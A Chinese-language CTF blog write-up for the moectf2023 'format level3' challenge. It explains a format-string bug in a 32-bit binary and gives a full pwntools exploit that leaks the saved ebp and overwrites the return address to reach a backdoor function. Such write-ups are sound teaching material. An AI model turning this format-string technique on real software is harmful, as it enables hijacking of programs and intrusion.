moectf2023 - format level3

RocketDev

文件分析

下载format_level3, NX on, PIE off, Canary on, RELRO full
ghidra分析为32位程序

解题思路

和level2类似,存在后门,但是输入的str放到了.bss上

16字节还想把栈迁移到.bss上?直接爆了(栈上的空间本来也不够)

正解:通过ebp+4来利用ebp间接改写返回地址

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
sh = remote('localhost', 39665)

# payload 1
sh.sendline(b'3')
sh.sendline(b'%6$p')

prevEbp = int(sh.recvuntil(b'\nBut', True)[-10:], 16) # ebp -> prevEbp -> prevPrevEbp
retAddr = prevEbp + 4

# payload 2
sh.sendline(b'3')
sh.sendline(f'%{retAddr & 0xff}d%6$hhn'.encode()) # ebp -> prevEbp -> retAddr

# payload 3
sh.sendlineafter(b'ice:',b'3') # 不加after会导致所有输出全部挤在一起,原因未知
sh.sendline(f'%{0x9317}d%14$hn'.encode()) # retAddr: main -> success

# payload 4
sh.sendlineafter(b'ice:', b'4') # let it return

sh.interactive()

Done.

  • 标题: moectf2023 - format level3
  • 作者: RocketDev
  • 创建于 : 2023-09-26 12:00:00
  • 更新于 : 2024-07-30 10:28:00
  • 链接: https://rocketmadev.github.io/2023/09/26/format_level3/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
moectf2023 - format level3